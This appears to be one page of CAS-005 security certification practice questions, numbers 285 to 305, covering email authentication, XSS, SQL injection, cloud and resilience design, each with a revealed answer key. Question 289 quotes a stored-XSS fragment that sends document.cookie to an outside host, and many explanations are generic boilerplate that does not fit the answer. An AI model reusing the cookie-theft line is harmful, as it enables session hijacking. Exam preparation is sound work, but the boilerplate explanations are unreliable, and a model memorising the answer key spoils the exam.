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CAS-005 β€” questions

Page 15 of 20 Β· 393 total questions.

Topic 1 Β· Question 285 Β· Select all that apply

An engineer wants to automate several tasks by running commands daily on a UNIX server. The engineer has only built-in, default tools available. Which of the following should the engineer use to best assist with this effort? (Choose two.)

  • APython
  • BCron (correct answer)
  • CAnsible
  • DPowerShell
  • EBash (correct answer)
  • FTask Scheduler
Reveal answer & explanation
Correct answer: B, E

The correct answer is B, E. Option B: Cron Option E: Bash

Topic 1 Β· Question 286 Β· Select all that apply

A security engineer discovers that some legacy systems are still in use or were not properly decommissioned. After further investigation, the engineer identifies that an unknown and potentially malicious server is also sending emails on behalf of the company. The security engineer extracts the following data for review: Which of the following actions should the security engineer take next? (Choose two.)

Exhibit 1 for question 286
  • ARotate the DKIM selector to use another key.
  • BChange the DMARC policy to reject and remove references to the server. (correct answer)
  • CRemove the unnecessary servers from the SPF record.
  • DChange the SPF record to enforce the hard fail parameter. (correct answer)
  • EUpdate the MX record to contain only the primary email server.
  • FChange the DMARC policy to none and monitor email flow to establish a new baseline.
Reveal answer & explanation
Correct answer: B, D

The correct answer is B, D. Option B: Change the DMARC policy to reject and remove references to the server. Option D: Change the SPF record to enforce the hard fail parameter. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 287

An organization recently implemented a new email DLP solution. Emails sent from company email addresses to matching personal email addresses generated a large number of alerts, but the content of the emails did not include company data. The security team needs to reduce the number of emails sent without blocking all emails to common personal email services. Which of the following should the security team implement first?

  • AAutomatically quarantine outgoing email.
  • BCreate an acceptable use policy. (correct answer)
  • CEnforce email encryption standards.
  • DPerform security awareness training focusing on phishing.
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Create an acceptable use policy. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 288

A systems administrator is working with clients to verify email-based services are performing properly. The administrator wants to have the email server digitally sign outbound emails using the organization's private key. Which of the following should the systems administrator configure?

  • ASPF
  • BDKIM (correct answer)
  • CDMARC
  • DTLS
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: DKIM This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 289

During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a comprised web server. Given the following portion of the code: ..asd...document.location="https://10.10.1.2/?"xβ€œ+document.cookie; ..12..fa..<>...ash214%621...41..2...8.8. Which of the following best describes this incident?

  • AXSRF attack
  • BCommand injection
  • CStored XSS (correct answer)
  • DSQL injection
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Stored XSS This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 291

A pharmaceutical lab hired a consultant to identify potential risks associated with Building 2, a new facility that is under construction. The consultant received the IT project plan, which includes the following VLAN design: Which of the following TTPs should the consultant recommend be addressed first?

Exhibit 1 for question 291
  • AZone traversal (correct answer)
  • BUnauthorized execution
  • CPrivilege escalation
  • DLateral movement
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Zone traversal

Topic 1 Β· Question 292

Previously intercepted communications must remain secure even if a current encryption key is compromised in the future. Which of the following best supports this requirement?

  • ATokenization
  • BKey stretching
  • CForward secrecy (correct answer)
  • DSimultaneous authentication of equals
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Forward secrecy This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 293

A security engineer wants to stay up-to-date on new detections that are released on a regular basis. The engineer's organization uses multiple tools rather than one specific vendor security stack. Which of the following rule-based languages is the most appropriate to use as a baseline for detection rules with the multiple security tool setup?

  • ASigma (correct answer)
  • BYARA
  • CSnort
  • DRita
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Sigma This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 294 Β· Select all that apply

A security engineer is developing a solution to meet the following requirements: β€’ All endpoints should be able to establish telemetry with a SIEM. β€’ All endpoints should be able to be integrated into the XDR platform. β€’ SOC services should be able to monitor the XDR platform. Which of the following should the security engineer implement to meet the requirements? (Choose two.)

  • AEDR (correct answer)
  • BHIDS
  • CWeb application firewall
  • DCentral logging (correct answer)
  • EHost-based firewall
  • FTPM
Reveal answer & explanation
Correct answer: A, D

The correct answer is A, D. Option A: EDR Option D: Central logging

Explanation

Endpoint detection and response monitors endpoint activity and supports detection, containment, and investigation. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 295

A security engineer needs to create multiple servers in a company's private cloud. The servers should have a virtual network infrastructure that supports connectivity, as well as security configurations applied using predefined templates. Which of the following is the best option for the security engineer to consider for the deployment?

  • AInstalling a container orchestration solution locally, configuring the infrastructure, and cloning the solution
  • BCreating templates on the cloud provider marketplace and modeling the solution using those templates
  • CUsing Terraform to implement an infrastructure as code model with the existing private cloud solution (correct answer)
  • DIntegrating the cloud provider API to the CI/CD pipeline model used by the company
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Using Terraform to implement an infrastructure as code model with the existing private cloud solution This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 296

A company is planning to migrate all of its on-site-hosted applications to a public cloud provider. Which of the following is the best way to reduce the scope of security-relevant work that the company must address after the applications have been migrated to the cloud?

  • AAdopting cloud-native security solutions
  • BUsing a microservices architecture
  • CPerforming a lift-and-shift cloud migration
  • DImplementing serverless cloud services (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Implementing serverless cloud services This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 297

A security analyst collects the logs from the web server that is associated with a security incident. The analyst finds the following entry in the logs: SELECT user FROM Customers WHERE userID = "SRequest(userID)" Which of the following will prevent this incident from reoccurring?

  • AURL encoding
  • BQuery parameterization (correct answer)
  • CData sanitization
  • DSQL output encoding
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Query parameterization This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 298

A security analyst discovers a compromised internal server and finds that the attack vector was an application. When extracting a memory dump with the application process content, the analyst observes the following: Which of the following solutions should the analyst recommend to best address this issue and avoid reoccurrence?

Exhibit 1 for question 298
  • AImplement address space layout randomization and canary stacks. (correct answer)
  • BReduce the buffer size to allow for less stored data.
  • CImprove character filtering and input validation for user inputs.
  • DAllow only the use of digitally signed and validated libraries.
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Implement address space layout randomization and canary stacks. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 299

A security engineer is assisting a DevOps team that has the following requirements for container images: β€’ Ensure container images are hashed and use version controls. β€’ Ensure container images are up to date and scanned for vulnerabilities. Which of the following should the security engineer do to meet these requirements?

  • AEnable clusters on the container image and configure the mesh with ACLs.
  • BEnable new security and quality checks within a CI/CD pipeline. (correct answer)
  • CEnable audits on the container image and monitor for configuration changes.
  • DEnable pulling of the container image from the vendor repository and deploy directly to operations.
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Enable new security and quality checks within a CI/CD pipeline.

Explanation

CI/CD automates integration, testing, and deployment to deliver changes consistently and rapidly. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 300

A building camera is remotely accessed and disabled from the remote console application during off-hours. A security analyst reviews the following logs: Which of the following actions should the analyst take to best mitigate the threat?

Exhibit 1 for question 300
  • AImplement WAF protection for the web application.
  • BUpgrade the firmware on the camera.
  • COnly allow connections from approved IPs. (correct answer)
  • DBlock IP 104.18.16.29 on the firewall.
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Only allow connections from approved IPs.

Explanation

An intrusion prevention system detects and actively blocks malicious traffic inline. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 301

A company implements an AI model that handles sensitive and personally identifiable information. Which of the following threats is most likely the company's primary concern?

  • AUnsecured output handling (correct answer)
  • BModel theft
  • CModel poisoning
  • DPrompt injection
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Unsecured output handling

Topic 1 Β· Question 302 Β· Select all that apply

A security architect is establishing requirements to design resilience in an enterprise system that will be extended to the company's other physical locations. The system must: β€’ Be survivable to one environmental catastrophe. β€’ Be recoverable within 24 hours of critical loss of availability. β€’ Be resilient to active exploitation of one site-to-site VPN solution. Which of the following design components best meet these requirements while upholding security? (Choose two.)

  • ALoad-balance connection attempts and data egress at internet gateways.
  • BAllocate fully redundant and geographically distributed standby sites. (correct answer)
  • CEmploy layering of routers from diverse vendors.
  • DLease space to establish cold sites throughout other countries.
  • EDeploy redundant identity provider solutions. (correct answer)
  • FImplement full weekly backups to be stored off-site for each of the company's sites.
Reveal answer & explanation
Correct answer: B, E

The correct answer is B, E. Option B: Allocate fully redundant and geographically distributed standby sites. Option E: Deploy redundant identity provider solutions. By spanning multiple Availability Zones / adding redundancy, this option provides the high availability and resilience required.

Topic 1 Β· Question 303 Β· Select all that apply

An engineer is designing a wireless access solution that must comply with the IEEE-specified security requirements for the 802.1X protocol. The engineer wants to streamline access by removing the need to provide a WPA2 PSK and domain credentials each time for access. Which of the following actions best meet this requirement? (Choose two.)

  • AIssuing client authentication certificates to devices (correct answer)
  • BIssuing a separate 32-bit key to wireless supplicants
  • CConfiguring RADIUS with EAP-TLS (correct answer)
  • DUsing a geofence over the facility and enforcing it for access
  • EConfiguring RADIUS with EAP-PEAP
  • FConfiguring RADIUS with EAP-FAST
Reveal answer & explanation
Correct answer: A, C

The correct answer is A, C. Option A: Issuing client authentication certificates to devices Option C: Configuring RADIUS with EAP-TLS

Explanation

A certificate binds a public key to an identity through a trusted certificate authority. TLS protects data in transit with authenticated encryption between network endpoints. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 304

An organization must provide access to its internal system data. The organization requires that this access complies with the following: β€’ Access must be automated. β€’ Data confidentiality must be preserved. β€’ Access must be authenticated. β€’ Data must be preprocessed before it is retrieved. Which of the following actions should the organization take to meet these requirements?

  • AConfigure a reverse proxy to protect the data.
  • BImplement an on-demand VPN connection.
  • CDeploy an API gateway protected with access tokens. (correct answer)
  • DContinually publish all relevant data to a CDN.
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Deploy an API gateway protected with access tokens.

Topic 1 Β· Question 305 Β· Select all that apply

Following a security incident, a company decides to improve its device management. The company establishes the following requirements for the new process: β€’ EOL devices must be properly replaced in a timely manner. β€’ Accurate, detailed information about the devices must be available in a centralized repository. Which of the following should the company do to meet these requirements? (Choose two.)

  • AConfigure agent-based vulnerability scanning tools.
  • BImplement an asset management life cycle. (correct answer)
  • CSwitch to a BYOD policy.
  • DTransition to a virtual desktop infrastructure.
  • EEstablish a quality assurance program.
  • FMaintain a configuration management database. (correct answer)
Reveal answer & explanation
Correct answer: B, F

The correct answer is B, F. Option B: Implement an asset management life cycle. Option F: Maintain a configuration management database. This option keeps traffic private / properly secured as required.

Showing questions 281–300 of 393 Β· Page 15 of 20